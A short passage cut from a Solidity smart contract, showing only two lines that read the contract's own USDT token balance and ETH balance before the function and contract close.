        _usdtBalance = usdt.balanceOf(address(this));
        _ethBalance = address(this).balance;
    }
}